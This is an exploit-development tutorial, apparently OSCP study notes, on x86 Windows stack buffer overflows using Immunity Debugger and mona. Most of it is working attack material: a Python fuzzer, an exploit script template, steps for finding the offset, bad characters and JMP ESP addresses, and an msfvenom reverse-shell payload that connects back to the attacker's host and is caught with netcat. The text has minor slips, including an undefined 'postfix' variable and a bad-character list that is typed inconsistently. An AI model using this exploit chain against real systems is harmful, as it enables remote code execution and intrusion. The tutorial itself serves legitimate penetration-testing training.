BoF - Windows(x86)

Introduction

This kind of exploitation you will only find in bizarre Windows systems (OSCP EXAM) that do not support 64 bits architecture.

Setting up the environment

To exploit a buffer overflow is required a test environment where the researcher can experiment with the vulnerable program for obtaining RCE instead of a DoS once it is executed against the victim.

To set up the environment, you need to download and install the following.

  • Windows 7 x86. Do not forget to change the keyboard layout atRegion and Language/Keyboards and Languages/Change keyboards...

  • monay.py: Add the file to the folder C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands.

  • The vulnerable program version

Discovering the offset

The attacker should follow these steps to determine how many bytes are necessary to crash the service.

  1. Run immunity debugger as administrator.

  2. Set the mona directory.

!mona config -set workingfolder C:\mona\
  1. Open the .exe file and press "PLAY" F9.

  2. Run the fuzzer against the remote program.

Fuzzer.py

#!/usr/bin/python
import sys, socket, time

R_HOST = '10.10.95.169'
port = 1337
timeout = 5
counter = 100
prefix = "OVERFLOW1 "

while True:
    try:
        payload = prefix + "A"*counter
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((R_HOST, port))
        s.recv(1024)
        print '[+] Sending %s bytes...' % (len(payload) - len(prefix))
        s.send(payload + '\r\n')
        s.recv(1024)
        print '[+] Done'
    except Exception as e:
        print '[!] You cannot connect to the programme. You may have cracked it.'
        print e
        sys.exit(0)
    counter = counter + 100
    time.sleep(1)

Now, based on the last set of bytes that was sent to the server, you need to create a pattern for obtaining the specific number of bytes required to crash the service.

!mona pattern_create <COUNTER>

The file C:\mona\pattern.txt with the generated pattern will have been created.

Then, modify the script, adapting it to the executable you want to exploit and add the ASCII pattern to the buffer variable and execute it.

python2.7 bof.py

bof.py

#!/usr/bin/python 
import sys, socket

ip = '127.0.0.1'
port = 9999

prefix = "OVERFLOW1 " # Si se requiere de un prefijo
pattern = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = "\x90"*0 # 100
payload = ""

buffer = prefix + pattern + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(buffer + "\r\n")
  print("Done!")
except Exception as e :
  print("Could not connect.")
  print(e)

Once the script is executed, the Immunity Debugger will have the status Paused, copy the value of the EIP registry and execute the following command.

!mona pattern_offset <EIP_value>

The result is a text similar to this one:

Pattern 0cp1 (<EIP_value>) found in cyclic pattern at position <OFFSET>

Modify the buffer variable in order to check that the offset is correct.

buffer = <OFFSET>*'A'+'BBBB'+'C'*100

Restart the program Ctrl+F2, hit PLAY F9 and re-launch the exploit, getting an "Access violation" with the EIP register full of Bs (0x42).

Finding bad characters

Generate the byte array, to find the bad chars with the following command.

Note: Remove the Null byte because it is always a bad char by default.

!mona bytearray -b "\x00"

The byte array can be found in C:\mona\bytearray.txt.

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

The script would look like this:

badchars = "<BADCHARS>"
buffer = <OFFSET>*'A'+'BBBB'+'C'*100+badchars

Restart the program, run the exploit, click on the ESP registry in the Immunity Debugger and click on "Follow in Dump".

Check if a character is missing from your BADCHARS string. Whether the byte does not appear or 00 appears instead, remove the byte from your exploit.

Another way to get the bad chars is to run the following command, where the first bad char is the one to remove.

!mona compare -f bytearray.bin -a <Dirección donde badchars empieza>

The bad chars are listed in the following table.

Note: As you have removed the 00, the bad chars would be 07, 2e and a0.

Once the bad char is found, run the command !mona bytearray -b "\x00x<BADCHAR>", adding the bad chars found and run the exploit again. Moreover, remove the bad chars from the badchars variables.

This process is iterative until no more bad chars appear.

Looking for JMP ESP instruction addresses

Now, look for memory addresses that contain the JMP ESP instruction but whose address does not contain the previously obtained bad chars.

!mona jmp -r esp -cpb "\x00\x07\x2e\x0a"
!mona find -s "\xdd\xe4" -m "<Library_dll>" # Find the instruction inside a specif library

In the window/Log data window, you will see several results, as it is possible to use the address of momeria, whose file is from the application itself and which has everything set to "False".

Copy the address and pass it to Little Endian.

625014DF -> "\xDF\x14\x50\x62"

Generating the payload

Run msfvenom to generate your payload with EXITFUNC=THREAD so that the exploit can be launched multiple times.

msfvenom -p windows/shell_reverse_tcp LHOST=<YourIP> LPORT=443 -b "\x00\x07\x2e\x0a" -f python EXITFUNC=thread -v payload # -e x86/shikata_ga_nai

Note: If the exploit does not work, try other encoders. You can list the available encoders with msfvenom --list encoders.

The variables would look like this.

buf = "<PAYLOAD>"
[...]
buffer = "A"*2012+"\xDF\x14\x50\x62"+"\x90"*100+buf 

The NOPs (0x90) instructions are added to prevent your payload from overwriting the value of the JUMP ESP address.

Testing the exploit

Finally, use netcat to listen on port 443, restart the program and run the exploit. If you have obtained a functional reverse shell you can execute the exploit against the target machine.

References

Last updated